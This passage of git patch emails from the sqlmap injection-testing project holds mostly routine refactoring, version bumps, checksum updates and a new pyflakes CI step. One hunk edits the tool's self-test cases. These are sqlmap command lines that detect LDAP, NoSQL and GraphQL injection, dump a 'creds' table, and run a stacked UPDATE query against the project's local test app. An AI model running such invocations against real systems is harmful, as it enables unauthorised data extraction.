53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py diff --git a/lib/core/convert.py b/lib/core/convert.py index 848ae696fc8..6588faf1a4c 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -35,9 +35,11 @@ from thirdparty.six.moves import collections_abc as _collections try: - from html import escape as htmlEscape + from html import escape as _escape except ImportError: - from cgi import escape as htmlEscape + from cgi import escape as _escape + +htmlEscape = _escape def base64pickle(value): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index d7c98f63ec1..f99f46feb04 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.166" +VERSION = "1.10.6.167" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 0362cc6004d..158a218e308 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -90,7 +90,7 @@ def vulnTest(): ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) - ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP boolean-based blind", "LDAP: GET parameter 'q' directory entries", "dumped", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing + ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), From cbf5dbd29e1fc09547cfb25fe373530af311bde6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 09:49:16 +0200 Subject: [PATCH 623/853] Minor refactoring --- data/txt/sha256sums.txt | 6 +++--- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/utils/safe2bin.py | 10 ++++++---- 4 files changed, 11 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b1e8c7320cb..79bc078b24b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,14 +182,14 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 1b03686e1aa916ccad3cd86b8e4e6ea4baca5e30e05bf86a56f8df8dd4f44ba6 lib/core/optiondict.py -4e7f2ad3d2866093aa195616a0e93de1687406edc0b9038fbfa76bf1c9c174b2 lib/core/option.py +e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/option.py 28e73bcc4159e9d8afb4fc4f6f4f5791a47da042a5e7149cbb18f21d1e0aa43a lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b9b6134a0dcd0b5cfd2a64d838eb0ec681f78e0c5d6ff4c90a478093b93f2a78 lib/core/settings.py +bdcf9fb929ad62f8e9d59f0d0502d208b72b3902c8768125e368b7a89d8d5b68 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -265,7 +265,7 @@ b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dial c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py -f635872093a12cd63a72d77adf88e8f8cd4084a5cc64384f12966cd75a499bdf lib/utils/safe2bin.py +e6d8e812c380647590a175528e75c2835fc75dd12f989ef1cceb5c12a5815bd8 lib/utils/safe2bin.py f8b9a876a19543ecb215956f525be6f59109716d0c301b57aa85d57cd2194a21 lib/utils/search.py 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py 2760c4b82382e501f16bb98edec9531f46e5b286fbf004b346545b9b62f84824 lib/utils/sqlalchemy.py diff --git a/lib/core/option.py b/lib/core/option.py index 6644cf08e8b..332053b1348 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2604,6 +2604,7 @@ def putheader(self, header, *values): if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): try: from websocket import ABNF + ABNF # require websocket-client, not any 'websocket' module except ImportError: errMsg = "sqlmap requires third-party module 'websocket-client' " errMsg += "in order to use WebSocket functionality" diff --git a/lib/core/settings.py b/lib/core/settings.py index f99f46feb04..6d85ac6f965 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.167" +VERSION = "1.10.6.168" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py index b5a93b4f727..d6004ef7a57 100644 --- a/lib/utils/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -12,14 +12,16 @@ PY3 = sys.version_info >= (3, 0) -if PY3: +try: + # Py2 + text_type = unicode + string_types = (basestring,) +except NameError: + # Py3 xrange = range text_type = str string_types = (str,) unichr = chr -else: - text_type = unicode - string_types = (basestring,) # Regex used for recognition of hex encoded characters HEX_ENCODED_CHAR_REGEX = r"(?P\\x[0-9A-Fa-f]{2})" From 69ba213db95fa8d8ae53258ca48e07fa2a4901bb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 09:53:05 +0200 Subject: [PATCH 624/853] Minor refactoring --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- tests/test_convert.py | 7 ++++++- 3 files changed, 9 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 79bc078b24b..280f673e5f3 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -bdcf9fb929ad62f8e9d59f0d0502d208b72b3902c8768125e368b7a89d8d5b68 lib/core/settings.py +ff871fd0e40ad61d1f8a753851d67518153ad4b5e77b37766937c9e752af5f2b lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -586,7 +586,7 @@ feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_big 2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py -678927457c16e5c610be5280d47dcc6f1ff1a56a8acd9feb1d63e091e266b7b3 tests/test_convert.py +75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d tests/test_convert.py c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6d85ac6f965..16dc1922bbb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.168" +VERSION = "1.10.6.169" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_convert.py b/tests/test_convert.py index 19671a7bfab..f33315faef9 100644 --- a/tests/test_convert.py +++ b/tests/test_convert.py @@ -24,6 +24,11 @@ jsonize, dejsonize, base64pickle, base64unpickle) from lib.core.common import decodeDbmsHexValue +try: + unichr = unichr +except NameError: + unichr = chr + RND = random.Random(0xC0FFEE) @@ -79,7 +84,7 @@ def test_ascii_roundtrip_property(self): class TestByteTextConversion(unittest.TestCase): def test_ascii_roundtrip(self): for _ in range(1000): - s = u"".join(unichr(RND.randint(0x20, 0x7e)) if sys.version_info[0] < 3 else chr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(0, 30))) + s = u"".join(unichr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(0, 30))) self.assertEqual(getUnicode(getBytes(s)), s) def test_unicode_roundtrip(self): From 333e3e48e519363cdb6d7ee184db9c48cea07a15 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:02:50 +0200 Subject: [PATCH 625/853] Fixing some pyflakes naggings --- data/txt/sha256sums.txt | 6 +++--- lib/core/patch.py | 3 ++- lib/core/readlineng.py | 10 ++++++++-- lib/core/settings.py | 2 +- 4 files changed, 14 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 280f673e5f3..79954e55b18 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -183,13 +183,13 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 1b03686e1aa916ccad3cd86b8e4e6ea4baca5e30e05bf86a56f8df8dd4f44ba6 lib/core/optiondict.py e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/option.py -28e73bcc4159e9d8afb4fc4f6f4f5791a47da042a5e7149cbb18f21d1e0aa43a lib/core/patch.py +21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py -03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py +0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ff871fd0e40ad61d1f8a753851d67518153ad4b5e77b37766937c9e752af5f2b lib/core/settings.py +e37e088d210b6ddbd4a1a4ddfbbff632c832980de295e0c2ca4e46c9f0386f8d lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/patch.py b/lib/core/patch.py index ae72028e432..2063ac37aa2 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -70,7 +70,8 @@ def _send_output(self, *args, **kwargs): # add support for inet_pton() on Windows OS if IS_WIN: - from thirdparty.wininetpton import win_inet_pton + from thirdparty.wininetpton.win_inet_pton import inject_into_socket + inject_into_socket() # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 31349171be7..b2980adf70e 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -7,15 +7,21 @@ _readline = None try: - from readline import * import readline as _readline except: try: - from pyreadline import * import pyreadline as _readline except: pass +if _readline: + _symbols = getattr(_readline, "__all__", None) + if _symbols is None: + _symbols = (name for name in dir(_readline) if not name.startswith("_")) + + for _symbol in _symbols: + globals()[_symbol] = getattr(_readline, _symbol) + from lib.core.data import logger from lib.core.settings import IS_WIN from lib.core.settings import PLATFORM diff --git a/lib/core/settings.py b/lib/core/settings.py index 16dc1922bbb..ef90e02b7af 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.169" +VERSION = "1.10.6.170" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9daeab2d5af0a4c5ae33ef1fb4525becbe9f5963 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:06:44 +0200 Subject: [PATCH 626/853] Removing last pyflakes nagging cause --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- tests/test_openapi_drift.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 79954e55b18..a627ead8fe1 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -e37e088d210b6ddbd4a1a4ddfbbff632c832980de295e0c2ca4e46c9f0386f8d lib/core/settings.py +07de0d223b07e47ac4c5adcaff260226dffadaa6dc14d55ae156ec8b7c118a64 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -606,7 +606,7 @@ d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_ide 13d0369f3fea7262f7944999f559da38e5284cbc76660fd7aeffedad78e65f5f tests/test_ldap.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py -57fa9713a3186020be8bcc3f06399e92bf9ce82ec6d3413c76babe19606bb698 tests/test_openapi_drift.py +88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py diff --git a/lib/core/settings.py b/lib/core/settings.py index ef90e02b7af..c69a78cf770 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.170" +VERSION = "1.10.6.171" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_openapi_drift.py b/tests/test_openapi_drift.py index b38fd16eb37..1ed84c2b825 100644 --- a/tests/test_openapi_drift.py +++ b/tests/test_openapi_drift.py @@ -26,7 +26,7 @@ from _testutils import bootstrap bootstrap() -import lib.utils.api # noqa: F401 (importing registers every route on Bottle's default app) +__import__("lib.utils.api") # registers Bottle routes (side-effect import) from lib.core.settings import RESTAPI_VERSION from thirdparty.bottle.bottle import default_app From c7a9185bcf6641a105a9616c0d8d9561cefa3be4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:12:51 +0200 Subject: [PATCH 627/853] Adding pyflakes into CI/CD pipeline --- .github/workflows/tests.yml | 7 +++++++ data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 9 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 18afa00b406..06162356b6d 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -37,6 +37,13 @@ jobs: - name: Python sanity run: python -VV + - name: Pyflakes lint + run: | + python -m pip install pyflakes + OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/')) + if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi + echo "pyflakes: clean" + - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a627ead8fe1..d153d26373d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -07de0d223b07e47ac4c5adcaff260226dffadaa6dc14d55ae156ec8b7c118a64 lib/core/settings.py +7afc5f26c211df306365aee39caaa7852c6f5be50b72319f2225f83d0b8daeb4 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c69a78cf770..77d8209a973 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.171" +VERSION = "1.10.6.172" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 692c4bc42fd7bf26c91f1390fa6c1e1b14a02c44 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:14:06 +0200 Subject: [PATCH 628/853] Fixing CI/CD failure --- .github/workflows/tests.yml | 1 + data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 06162356b6d..3f8cbc096d2 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -38,6 +38,7 @@ jobs: run: python -VV - name: Pyflakes lint + shell: bash run: | python -m pip install pyflakes OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/')) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d153d26373d..5a594fdd7c7 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -7afc5f26c211df306365aee39caaa7852c6f5be50b72319f2225f83d0b8daeb4 lib/core/settings.py +b0101b7404dfc402cc67169796bf97c72b2b58dc35b2a0d5ded56d6ca27bd76c lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 77d8209a973..f8219138463 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.172" +VERSION = "1.10.6.173" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 149bdd836b3c715bfa16f2f264d13474387ccdb7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:18:56 +0200 Subject: [PATCH 629/853] Fixing CI/CD failure --- .github/workflows/tests.yml | 3 +-- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 4 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 3f8cbc096d2..40bf6e6aebb 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -41,8 +41,7 @@ jobs: shell: bash run: | python -m pip install pyflakes - OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/')) - if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi + python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') echo "pyflakes: clean" - name: Basic import test diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5a594fdd7c7..5ab436f66c0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b0101b7404dfc402cc67169796bf97c72b2b58dc35b2a0d5ded56d6ca27bd76c lib/core/settings.py +88cc7cdbc758f78a486f205f0245a6465bf6be74f77fbb476350bf50221bc357 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f8219138463..0f271de3480 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.173" +VERSION = "1.10.6.174" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 02ae09e15461ce88e672c33180037d20c5a9c421 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:24:46 +0200 Subject: [PATCH 630/853] Minor update --- .github/workflows/tests.yml | 3 ++- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- sqlmap.py | 8 ++++++-- 4 files changed, 11 insertions(+), 6 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 40bf6e6aebb..4a338fcd05e 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -41,7 +41,8 @@ jobs: shell: bash run: | python -m pip install pyflakes - python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') + OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') | grep -v ' redefines ') + if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi echo "pyflakes: clean" - name: Basic import test diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5ab436f66c0..5c317f3779d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py 